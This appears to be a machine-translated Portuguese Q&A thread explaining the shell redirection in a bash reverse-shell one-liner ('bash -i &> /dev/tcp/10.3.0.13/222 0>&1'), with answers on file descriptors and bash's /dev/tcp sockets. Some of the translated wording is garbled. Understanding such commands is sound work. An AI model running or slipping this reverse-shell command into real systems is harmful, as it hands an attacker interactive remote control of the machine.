O que significa o redirecionamento de shell 0>&1?

O que significa o redirecionamento de shell 0>&1?

tentando entender o comando:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

isso significa que o STDIN de "bash -i" obterá o conteúdo STDOUT?

Responder1

&> fileem si é o mesmo que > file 2>&1, que está aberto fileno modo somente gravação no descritor de arquivo 1 e duplica esse descritor de arquivo 1 para o descritor de arquivo 2, de modo que ambos fd 1 e 2 (stdout e stderr) apontem para aqueleabrir descrição do arquivo

0>&1(igual a 0<&1ou <&1) adiciona 0 (stdin) à lista. Ele também duplica fd 1 para 0 (fd 0 é feito para apontar para o mesmo recurso apontado por fd 1).

Agora, ao fazer > /dev/tcp/host/portin bash(como em ksh de onde vem o recurso), em vez de fazer a open(file, O_WRONLY), bashcria um soquete TCP e o conecta a host:port. Isso não é umsomente gravaçãoredirecionamento, é um soquete de rede de leitura + gravação.

Então você acaba com fds 0, 1 e 2 sendo bash -ium soquete TCP. Quando bash -ilê em seu stdin, ele lê do soquete, de qualquer coisa que esteja na outra extremidade host:poste quando ele (ou qualquer comando executado a partir daí) grava no fd 1 ou 2, ele é enviado por esse soquete.

Responder2

Vamos passo a passo.

  1. bash -i: abre um shell interativo
  2. &>: redireciona a saída padrão e o erro para o soquete aberto para o IP 10.3.0.13 que estaria escutando na porta 222
  3. 0>&1: Gosto de ler como 0<&1. Isso significaria literalmente que '0' está anexado a '1', o que significa que stdin está anexado a stdout e a partir do ponto 2 sabemos que o stdin para este processo bash está disponível para o invasor que escuta na porta 222.

Responder3

Resumindo, o comando abre um shell bash interativo que lê a entrada e entrega sua saída e erros para, por meio de um soquete tcp, um host especificado pelo ip.

Detalhes: (!!!Como não sou um especialista, algumas descrições podem não ser precisas ou precisas.)

&> /dev/tcp/10.3.0.13/222tem duas partes. Primeiro:

/dev/tcp/10.3.0.13/222

Bash lida com vários nomes de arquivos especialmente quando eles são usados ​​em redirecionamentos, como /dev/tcp/host/port

Se host for um nome de host ou endereço de Internet válido e port for um número inteiro de porta ou nome de serviço, o Bash tentará abrir o soquete TCP correspondente.

Segundo:

o &>operador de redirecionamento, para direcionar a saída padrão e o erro padrão para o mesmo arquivo.

Portanto, &> /dev/tcp/10.3.0.13/222significa abrir o soquete TCP correspondente e redirecionar a saída do suporte e o erro do suporte para o soquete.

Na verdade, os redirecionamentos alocam um novo descritor de arquivo que se refere à mesma descrição de arquivo aberto que o descritor antigo.

Uma descrição de arquivo aberto é uma entrada na tabela de arquivos abertos de todo o sistema. A descrição do arquivo aberto registra o deslocamento do arquivo e os sinalizadores de status do arquivo. Um descritor de arquivo é uma referência a uma descrição de arquivo aberto; esta referência não será afetada se o nome do caminho for posteriormente removido ou modificado para se referir a um arquivo diferente.

Assim, na verdade osaída do suporteeerro de suporte(eles são na verdade descritores de arquivo) eo descritor de arquivo do soqueteagora se refere ao mesmoabrir descrição do arquivo. Isso significa que sempre que houver saída ou erros do bash, esses dados serão gravados no soquete e enviados ao host de destino especificado acima.

0>&1

redireciona oentrada de suportepara osaída do suporte. Usando a ideia acima, significa literalmente oentrada de suporterefere-se ao mesmoabrir descrição do arquivoque é referido pelosaída do suporte; que é o mesmo que também é referido peloerro de suporteeo descritor de arquivo do soquete. Isso significa que sempre que o host que executou este comando receber algum dado através dosoquete tcp, o bash o lê como entrada.

Se não possuir o conhecimento do que realmente significa redirecionamentos, será muito difícil entender o que significa redirecionar oentrada de suportepara osaída do suporte. Isso não significa ler osaída do suporteEnquanto oentrada de suporte, pois não faz sentido. Na verdade significa oentrada de suportee asaída do suporterefere-se ao mesmoabrir descrição do arquivo. Portanto, o comando lê a entrada e entrega a saída no mesmo arquivo, como aqui, o soquete.

Referências:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html

https://man7.org/linux/man-pages/man2/open.2.html

https://man7.org/linux/man-pages/man2/socket.2.html

informação relacionada